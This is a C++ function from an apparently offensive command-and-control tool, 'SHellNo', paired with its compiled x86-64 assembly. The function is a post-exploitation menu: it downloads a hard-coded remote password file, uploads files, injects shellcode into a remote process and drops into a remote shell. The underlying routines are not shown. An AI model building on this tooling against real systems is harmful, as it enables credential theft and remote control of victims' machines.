// File: /workspace/github_cpp_makefile_star2_O1/JohnWoodman[P]SHellNo/menus.cpp
// Function: postExploitMenu(listener*)
void postExploitMenu(listener *newL) {
	printf("<---This is the Post Exploit Menu--->\n");

	string cmd;
	while(true){
		cout<<"ShellNo:Listener->";
		getline(cin,cmd);
		if(!cmd.compare("download")){
			printf("You Selected Download\n");
			newL->downloadFile("C:\\Users\\john\\Desktop\\password.txt", "pwd_download.txt");
		}
		if (!cmd.compare("upload")){
			printf("You Selected Upload\n");
			newL->uploadFile("upload.txt", "C:\\\\test\\\\upload.txt");
		}
		if(!cmd.compare("inject-shellcode")){
			printf("You Selected Shell\n");
			newL->injectShellcode("shellcode.bin");
		}
		if(!cmd.compare("shell")){
			printf("You selected drop into shell\n");
			newL->dropIntoShell();
		}
		if(!cmd.compare("exit")){
			printf("Exiting!\n");
			break;
		}
		if(!cmd.compare("help")) {
			printf("HELP MENU\n");
			printf("download <remote file> <local file>: download remote file to local file\n");
			printf("upload <local file> <remote file>: upload local file to remote location\n");
			printf("inject-shellcode <shellcode.bin>: inject given shellcode into remote process\n");
			printf("exit: exit listener menu (does not kill session)\n");
		}
	}
}

// Assembly:
pushq %rbp
movq %rsp, %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $0xc8, %rsp
movq %rdi, %rbx
leaq 0x243a(%rip), %rdi      # 0x173d4
callq 0x55a0
leaq -0xd8(%rbp), %rax
movq %rax, -0x10(%rax)
movq $0x0, -0x8(%rax)
movb $0x0, (%rax)
movq 0xa01c(%rip), %r12      # 0x1efd8
leaq -0xe8(%rbp), %r13
leaq 0x11ca(%rip), %r14      # 0x16194
movl $0x12, %edx
movq 0x9fd2(%rip), %rdi      # 0x1efa8
leaq 0x236c(%rip), %rsi      # 0x17349
callq 0x5400
movq (%r12), %rax
movq -0x18(%rax), %rdi
addq %r12, %rdi
movl $0xa, %esi
callq 0x5350
movsbl %al, %edx
movq %r12, %rdi
movq %r13, %rsi
callq 0x5680
movq %r13, %rdi
leaq 0x234d(%rip), %rsi      # 0x1735c
callq 0x5100
testl %eax, %eax
jne 0x150bc
leaq 0x23d7(%rip), %rdi      # 0x173fa
callq 0x55a0
leaq -0x58(%rbp), %rax
movq %rax, -0x68(%rbp)
leaq -0x68(%rbp), %rdi
leaq 0x232a(%rip), %rsi      # 0x17365
leaq 0x2345(%rip), %rdx      # 0x17387
callq 0x14ee0
leaq -0xb8(%rbp), %rax
movq %rax, -0xc8(%rbp)
leaq -0xc8(%rbp), %r15
movq %r15, %rdi
leaq 0x2322(%rip), %rsi      # 0x17388
leaq 0x232b(%rip), %rdx      # 0x17398
callq 0x14ee0
movq %rbx, %rdi
leaq -0x68(%rbp), %rsi
movq %r15, %rdx
callq 0x14306
movq -0xc8(%rbp), %rdi
leaq -0xb8(%rbp), %rax
cmpq %rax, %rdi
je 0x150a3
movq -0xb8(%rbp), %rsi
incq %rsi
callq 0x5370
movq -0x68(%rbp), %rdi
leaq -0x58(%rbp), %rax
cmpq %rax, %rdi
je 0x150bc
movq -0x58(%rbp), %rsi
incq %rsi
callq 0x5370
movq %r13, %rdi
leaq 0x22d3(%rip), %rsi      # 0x17399
callq 0x5100
testl %eax, %eax
jne 0x15173
leaq 0x2336(%rip), %rdi      # 0x17410
callq 0x55a0
leaq -0x38(%rbp), %rax
movq %rax, -0x48(%rbp)
leaq -0x48(%rbp), %rdi
leaq 0x22b8(%rip), %rsi      # 0x173aa
leaq 0x22bb(%rip), %rdx      # 0x173b4
callq 0x14ee0
leaq -0x98(%rbp), %rax
movq %rax, -0xa8(%rbp)
leaq -0xa8(%rbp), %r15
movq %r15, %rdi
leaq 0x2283(%rip), %rsi      # 0x173a0
leaq 0x2290(%rip), %rdx      # 0x173b4
callq 0x14ee0
movq %rbx, %rdi
leaq -0x48(%rbp), %rsi
movq %r15, %rdx
callq 0x1452c
movq -0xa8(%rbp), %rdi
leaq -0x98(%rbp), %rax
cmpq %rax, %rdi
je 0x1515a
movq -0x98(%rbp), %rsi
incq %rsi
callq 0x5370
movq -0x48(%rbp), %rdi
leaq -0x38(%rbp), %rax
cmpq %rax, %rdi
je 0x15173
movq -0x38(%rbp), %rsi
incq %rsi
callq 0x5370
movq %r13, %rdi
leaq 0x2238(%rip), %rsi      # 0x173b5
callq 0x5100
testl %eax, %eax
jne 0x151e1
leaq 0x2297(%rip), %rdi      # 0x17424
callq 0x55a0
leaq -0x78(%rbp), %rax
movq %rax, -0x88(%rbp)
leaq -0x88(%rbp), %r15
movq %r15, %rdi
leaq 0x2218(%rip), %rsi      # 0x173c6
leaq 0x221e(%rip), %rdx      # 0x173d3
callq 0x14ee0
movq %rbx, %rdi
movq %r15, %rsi
callq 0x14716
movq -0x88(%rbp), %rdi
leaq -0x78(%rbp), %rax
cmpq %rax, %rdi
je 0x151e1
movq -0x78(%rbp), %rsi
incq %rsi
callq 0x5370
movq %r13, %rdi
leaq 0x2263(%rip), %rsi      # 0x1744e
callq 0x5100
testl %eax, %eax
jne 0x15208
leaq 0x223c(%rip), %rdi      # 0x17437
callq 0x55a0
movq %rbx, %rdi
callq 0x14932
movq %r13, %rdi
movq %r14, %rsi
callq 0x5100
testl %eax, %eax
je 0x1526f
movq %r13, %rdi
leaq 0xf78(%rip), %rsi       # 0x16199
callq 0x5100
testl %eax, %eax
jne 0x14fca
leaq 0x1848(%rip), %rdi      # 0x16a7d
callq 0x55a0
leaq 0x221c(%rip), %rdi      # 0x1745d
callq 0x55a0
leaq 0x2258(%rip), %rdi      # 0x174a5
callq 0x55a0
leaq 0x2294(%rip), %rdi      # 0x174ed
callq 0x55a0
leaq 0x22d5(%rip), %rdi      # 0x1753a
callq 0x55a0
jmp 0x14fca
leaq 0x21de(%rip), %rdi      # 0x17454
callq 0x55a0
movq -0xe8(%rbp), %rdi
leaq -0xd8(%rbp), %rax
cmpq %rax, %rdi
je 0x1529d
movq -0xd8(%rbp), %rsi
incq %rsi
callq 0x5370
addq $0xc8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
movq %rax, %rbx
jmp 0x15326
jmp 0x15357
movq %rax, %rbx
movq -0x88(%rbp), %rdi
leaq -0x78(%rbp), %rax
cmpq %rax, %rdi
je 0x1535a
movq -0x78(%rbp), %rsi
jmp 0x1534d
jmp 0x15357
jmp 0x15357
movq %rax, %rbx
movq -0xc8(%rbp), %rdi
leaq -0xb8(%rbp), %rax
cmpq %rax, %rdi
je 0x1533c
movq -0xb8(%rbp), %rsi
incq %rsi
callq 0x5370
jmp 0x1533c
movq %rax, %rbx
movq -0xa8(%rbp), %rdi
leaq -0x98(%rbp), %rax
cmpq %rax, %rdi
je 0x15326
movq -0x98(%rbp), %rsi
incq %rsi
callq 0x5370
movq -0x48(%rbp), %rdi
leaq -0x38(%rbp), %rax
cmpq %rax, %rdi
je 0x1535a
movq -0x38(%rbp), %rsi
jmp 0x1534d
movq %rax, %rbx
movq -0x68(%rbp), %rdi
leaq -0x58(%rbp), %rax
cmpq %rax, %rdi
je 0x1535a
movq -0x58(%rbp), %rsi
incq %rsi
callq 0x5370
jmp 0x1535a
movq %rax, %rbx
movq -0xe8(%rbp), %rdi
leaq -0xd8(%rbp), %rax
cmpq %rax, %rdi
je 0x1537c
movq -0xd8(%rbp), %rsi
incq %rsi
callq 0x5370
movq %rbx, %rdi
callq 0x5630